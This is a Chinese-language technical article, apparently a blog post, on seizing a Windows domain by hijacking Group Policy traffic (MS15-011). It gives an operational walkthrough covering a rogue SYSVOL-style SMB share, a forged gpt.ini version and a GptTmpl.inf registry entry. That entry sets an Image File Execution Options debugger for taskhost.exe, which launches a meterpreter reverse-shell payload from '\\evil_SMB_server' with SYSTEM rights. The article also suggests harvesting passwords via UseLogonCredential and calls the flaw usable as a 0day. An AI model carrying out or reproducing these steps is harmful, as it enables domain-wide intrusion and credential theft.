域滲透之流量劫持
說在前面
windows Domain 中文翻譯為域,域既是 Windows 網(wǎng)絡(luò)操作系統(tǒng)的邏輯組織單元,也是Internet的邏輯組織單元。它是由所有的用戶計(jì)算機(jī),打印機(jī),用戶賬戶和其他的安全主體組成,被域控制器管理。
域是微軟提供給企業(yè)的一個(gè)局域網(wǎng)管理措施,使得信息技術(shù)人員能高效的管理和維護(hù)局域網(wǎng)中所有的主機(jī)和用戶。域位于每一個(gè)企業(yè)最核心的位置,在域上運(yùn)行著大量的企業(yè)核心應(yīng)用,如郵件系統(tǒng),協(xié)同辦公系統(tǒng),文件共享系統(tǒng)等。
在網(wǎng)絡(luò)滲透攻擊中,攻擊者如果獲取了域的權(quán)限,那么攻擊者就有可能獲取公司的機(jī)密,控制公司的一切。所以域安全是企業(yè)安全最為核心的一個(gè)環(huán)節(jié),并且微軟對域本身也在進(jìn)行不斷的安全加固。
NSA泄漏的文檔和工具讓人們明白了網(wǎng)絡(luò)的底層設(shè)備是多么的不堪一擊,但是部分運(yùn)維人員和安全人員仍然抱有幻想,只要養(yǎng)成正確的計(jì)算機(jī)使用習(xí)慣,不安全的底層網(wǎng)絡(luò)很難威脅到域的安全,但是事實(shí)往往不是這樣,Windows域本身十分脆弱,尤其是在不安全的網(wǎng)絡(luò)環(huán)境中,因?yàn)橛蚴腔谛湃蔚讓泳W(wǎng)絡(luò)進(jìn)行設(shè)計(jì)和建造的。
本文將利用另外一種方法,完成從底層網(wǎng)絡(luò)入侵windows域。
原理分析
當(dāng)?shù)讓泳W(wǎng)絡(luò)被攻陷,攻擊者就能輕易的劫持流量,偽造網(wǎng)絡(luò)節(jié)點(diǎn)。而劫持流量攻擊最基本的設(shè)計(jì)思路就是建立在一個(gè)假設(shè)之上,如果劫持了某個(gè)設(shè)備,能達(dá)到什么目的。
如果劫持了域控,能達(dá)到什么目的?
基于這個(gè)假設(shè),進(jìn)行了一系列測試,拿出其中一個(gè)測試與大家共同研究。
在微軟的官網(wǎng)上有如下描述:
組策略是在基于 Active Directory 域服務(wù) (AD DS) 的網(wǎng)絡(luò)上訪問和配置計(jì)算機(jī)及用戶設(shè)置的最輕松易行的方式。如果您的企業(yè)未在使用組策略,那么將會錯(cuò)失降低成本、控制配置、使用戶保持卓有成效和愉悅的心情以及增強(qiáng)安全性的大好機(jī)會。可以將使用組策略進(jìn)行配置視為“一舉多得”。
域控通過組策略完成對域內(nèi)機(jī)器的進(jìn)行配置的一種方式,windows域機(jī)器每間隔一段時(shí)間就會向域控制器請求更新組策略,以保證自身使用著最新的域策略。更新的過程是,域成員機(jī)器每間隔 90min+random()*30min ,向域控請求策略版本號,這個(gè)版本號存在于域控的gpt.ini文件中,位于
- \\domian_name\sysvol\domain_name\Policies
文件夾中,文件內(nèi)容為:
- [General]
- Version = 1
這個(gè)版本號如果等于自身版本號,那么系統(tǒng)就認(rèn)為自身組策略是最新版本。然后重置計(jì)時(shí)器,等待下一個(gè)間隔去請求更新。
詳細(xì)數(shù)據(jù)包請求過程如下圖:
如果自身版本號小于返回的版本號,那么系統(tǒng)認(rèn)為自身組策略以過時(shí),就繼續(xù)請求registry.pol 和GptTmpl.ini文件,詳細(xì)數(shù)據(jù)包請求過程如下圖:
而GptTmpl.inf文件,是一個(gè)模版文件,允許遠(yuǎn)程修改域成員的注冊表。
如果劫持并且修改了GptTmpl.inf文件,就可以隨意修改請求該文件域成員的注冊表。利用劫持該文件入侵域的一種方式就是修改注冊表給域機(jī)器添加啟動(dòng)項(xiàng),等到機(jī)器重啟時(shí),就可以運(yùn)行指定文件或者腳本。
但是面臨著一個(gè)問題,必須等到該機(jī)器重新啟動(dòng)。該機(jī)器可能啟動(dòng)周期很長,攻擊者的啟動(dòng)腳本或攻擊payload存儲的位置就必須持續(xù)保持,很不方便。之前CoreSecurity的測試POC時(shí)修改AppInit_DLL注冊表鍵值,但是這個(gè)鍵值已經(jīng)不啟用很多年了。所以需要一個(gè)簡便高效的方式。再經(jīng)過多種利用測試之后,終于找到一種非常好用的方式,一個(gè)神奇的注冊表鍵值:
- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution optin]
通過修改這個(gè)鍵值,可以給任一windows程序添加一個(gè)debugger調(diào)試器。例如可以給cmd.exe添加一個(gè)調(diào)試器debugger.exe,這樣你在啟動(dòng)cmd.exe 的時(shí)候,實(shí)際運(yùn)行的為:
- c:\debugger.exe cmd.exe
通過這種方式,可以給IE,Chrome或者其他什么用戶可能會運(yùn)行的程序添加一個(gè)調(diào)試器,這種方式明顯會比等待用戶重啟要迅速的多。
即使是在用戶權(quán)限受限制的情況下,依然可以通過組策略劫持的方式來對該機(jī)器的注冊表進(jìn)行修改。但是在劫持完成之后,必須對注冊表進(jìn)行清理,因?yàn)樵撜{(diào)試程序不可能長久存在,那么之后用戶可能無法啟動(dòng)該程序。并且修改鍵值需要管理員權(quán)限。
為了避免猜錯(cuò)用戶使用的程序和較長的等待時(shí)間,經(jīng)過多次測試找到了一個(gè)更好的解決辦法。系統(tǒng)在更新組策略之后,會用系統(tǒng)權(quán)限創(chuàng)建一個(gè)新的進(jìn)程 taskhost.exe ,即使該用戶處于一個(gè)受限制的狀態(tài)。所以給taskhost.exe程序創(chuàng)建一個(gè)調(diào)試器,這樣就能在系統(tǒng)更新完粗策略后立刻獲取一個(gè)system權(quán)限的shell。不需要漫長的等待,不需要重啟,不需要用戶的任何操作,一切都是靜默中完成。
當(dāng)然,這種劫持組策略執(zhí)行命令的方式很早的時(shí)候就報(bào)告給了Microsoft,并且在2015年2月10日就發(fā)布安全公告 MS15-011并提供了補(bǔ)丁KB3000483。微軟決定在用戶端修復(fù)這個(gè)漏洞,強(qiáng)制使用“SMB Signing”。
但是,雖然這個(gè)漏洞在一年多前就已經(jīng)發(fā)布安全公告,并且提供了相關(guān)補(bǔ)丁,但是這個(gè)補(bǔ)丁是默認(rèn)不啟用的。
在微軟的官方公告中有這樣一段話:
This security update requires the following steps to be performed in order to protect against the vulnerability described in the bulletin (MS15-011). To enable this functionality, a system administrator must apply the following Group Policy settings in addition to installing security update 3000483.
其含義是:
系統(tǒng)管理員必須手動(dòng)配置組策略,啟用“UNC Hardened Access”來避免MS15-011漏洞所帶來的安全風(fēng)險(xiǎn)。詳細(xì)的配置策略在微軟的官方網(wǎng)站,簡單總結(jié)成了12個(gè)步驟,網(wǎng)頁鏈接如下:
https://support.microsoft.com/en-us/kb/3000483
微軟認(rèn)為這是一個(gè)漏洞,并且提供了相關(guān)的補(bǔ)丁。但是這個(gè)補(bǔ)丁并不是默認(rèn)啟用,必須管理員手動(dòng)配置12個(gè)步驟才能啟用。
所以該漏洞大多數(shù)環(huán)境中依然可以被當(dāng)作0DAY來使用。
測試
實(shí)驗(yàn)測試步驟如下:
1. 準(zhǔn)備存放payload的SMB服務(wù)器和相應(yīng)的payload
在該測試中,在攻擊者機(jī)器上啟用了SMB共享,創(chuàng)建一個(gè)映射為SYSVOL的目錄,命令如下:
- net share sysvol=C:\Users\TEST\Desktop\sysvol
或者直接使用界面開啟共享,效果一樣。在文件夾中創(chuàng)建樹形結(jié)構(gòu),因?yàn)橛驒C(jī)器在請求更新的時(shí)候只會請求固定位置的文件。文件結(jié)構(gòu)如下:
- ─Domain_Name
- └─Policies
- └─{31B2F340-016D-11D2-945F-00C04FB984F9}
- │ gpt.ini
- │
- └─Machine
- └─Microsoft
- └─Windows NT
- └─SecEdit
- GptTmpl.inf
然后開啟整個(gè)文件夾的匿名共享,允許任何人訪問。
準(zhǔn)備payload程序,本測試準(zhǔn)備的是meterpreter_resver_tcp.exe,重命名為debugger.exe。
因?yàn)榻俪址绞讲灰粯?,如果選擇直接修改數(shù)據(jù)包內(nèi)容或者重新回包,可以不用創(chuàng)建樹形結(jié)構(gòu)目錄,但是SMB的匿名共享文件夾是需要的,用來存放payload。
2. 劫持中需要修改的數(shù)據(jù)
首先修改Gpt.ini文件,將其中的版本號改為一個(gè)較大數(shù)字,方便起見改為1000,如下:
- [General]
- Version=1000
然后修改策略文件GptTmpl.ini,文件原內(nèi)容如下:
- [Unicode]
- Unicode=yes
- [System Access]
- MinimumPasswordAge = 1
- MaximumPasswordAge = 42
- MinimumPasswordLength = 7
- PasswordComplexity = 1
- PasswordHistorySize = 24
- LockoutBadCount = 0
- RequireLogonToChangePassword = 0
- ForceLogoffWhenHourExpire = 0
- ClearTextPassword = 0
- LSAAnonymousNameLookup = 0
- [Kerberos Policy]
- MaxTicketAge = 10
- MaxRenewAge = 7
- MaxServiceAge = 600
- MaxClockSkew = 5
- TicketValidateClient = 1
- [Registry Values]
- MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1
- [Version]
- signature="$CHICAGO$"
- Revision=1
然后按照設(shè)計(jì)進(jìn)行相應(yīng)的修改,簡便起見,只添加修改注冊表項(xiàng),修改后的文件內(nèi)容如下:
- [Registry Values]
- MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,\\evil_SMB_server\sysvol\admin.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\muma_test.exe
- [Version]
- signature="$CHICAGO$"
- Revision=1
將“evil_SMB_server”替換成放置payload的服務(wù)器地址,將“debugger.exe”替換成payload文件。
3. 開始攻擊
劫持流量到attacker上。在這里劫持流量的方式多種多樣,LLMNR,,NBT-NS ,MDNS,ARP,bad_tunnel等等等什么都行,有一款很好用的軟件,叫做Responder github,但是本次試驗(yàn)是專門針對路由器流量劫持定制的程序來完成所有操作。
首先,client會tree一下整個(gè)文件夾,然后請求Gpt.ini,對比版本號,然后繼續(xù)請求GptTmpl.ini文件,將文件中的注冊表模版應(yīng)用到注冊表中。應(yīng)用成功之后,下載并以debugger.exe作為調(diào)試器啟動(dòng)taskhost.exe程序, 然后稍等幾秒:
done
獲取了一臺機(jī)器的最高控制權(quán)限。
最多等待120min,就可以獲取到整個(gè)域機(jī)器的最高權(quán)限。除了域控制器,因?yàn)橛蚩刂破鞑粫埱蟾陆M策略。到那時(shí)如果域中有多個(gè)域控制器,它們之間會請求更新組策略,同樣可以被劫持。
除了域控外的所有設(shè)備都獲取了控制權(quán)限,已經(jīng)基本可以在域中暢行無阻了。
針對域控,只能使用通過組策略創(chuàng)建替換登錄腳本,添加啟動(dòng)項(xiàng)等方法中的一種。再或者,通過組策略添加登錄腳本,修改注冊表UseLogonCredential的鍵值,等機(jī)器完成重啟就能批量抓取用戶密碼,因?yàn)橛蚬芾韱T不可能只在域控上登錄。
或者使用其他的更好的方法 ,如有好的思路,請私信我,可以共同討論測試。
這樣就獲取到了整個(gè)域的控制權(quán)限。
總結(jié)
底層網(wǎng)絡(luò)設(shè)備很危險(xiǎn),并且底層網(wǎng)絡(luò)能給上層應(yīng)用和服務(wù)帶來難以想象的影響。只是現(xiàn)在的安全圈子沒有深刻認(rèn)識到。